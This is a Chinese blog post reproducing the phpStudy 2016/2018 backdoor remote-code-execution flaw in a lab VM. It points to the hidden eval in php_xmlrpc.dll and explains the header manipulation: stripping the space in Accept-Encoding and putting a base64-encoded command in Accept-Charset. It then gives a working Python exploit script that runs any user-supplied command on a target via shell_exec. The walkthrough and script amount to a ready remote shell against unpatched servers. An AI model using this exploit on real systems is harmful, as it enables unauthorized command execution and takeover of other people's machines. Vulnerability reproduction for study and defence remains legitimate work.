phpstudy_2016-2018_rce漏洞复现

前言

强如phpstudy也会有漏洞,在当时影响蛮大的,今天那就试着来复现一下这个漏洞

一.漏洞描述

RCE漏洞,攻击者可以利用该漏洞执行PHP命令和执行代码,从而控制用户系统,也可以称作phpStudy 后门。

二.漏洞等级

高危

三.影响版本

phpstudy2016

phpstudy2018

四.准备工具

VMware环境

BurpSuite

phpStudy2016

五.查看漏洞点

打开 \phpStudy\php\php-5.2.17\ext\php_xmlrpc.dll 这个文件,找到了这个

 @eval(%s('%s')); 

eval函数把字符串当成 PHP 代码来执行

六.漏洞复现

这里是在虚拟机上搭的环境,启动phpstudy2016,访问phpinfo.php,可以正常访问

打开burp suite抓包,访问后缀带有.php的文件进行抓包

我们把数据包里的Accept-Encoding: gzip, deflate(deflate前面是有空格的),我们要把空格删掉,然后再加上Accept-Charset: 这个参数,这个参数是我们是我们要执行的命令,但要把命令进行base64编码,查看对方ip

重发数据包,就可看到对方的IP返回了,之后可以执行查看文件的用户命令,这里就不举例了

 漏洞利用脚本

import requests
import base64
import sys

url="http://192.168.175.136/phpinfo.php"#url自行更换
cmd=input("Please input command: ")#接受想执行的命令
cmd=base64.b64encode(f"print(shell_exec('{cmd}'));".encode())#base64编码,shell_exec是执行系统命令函数
headers={
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0',
    "Accept-Encoding":"gzip,deflate",
    "Accept-Charset":cmd
}
res=requests.post(url=url, headers=headers)#发送get请求
html=res.content.decode("gb2312")#返回是乱码,解码成中文形式
result=html[0:html.index("<!DOCTYPE html")].strip()#字符串截取
print(result)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

tacokings

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值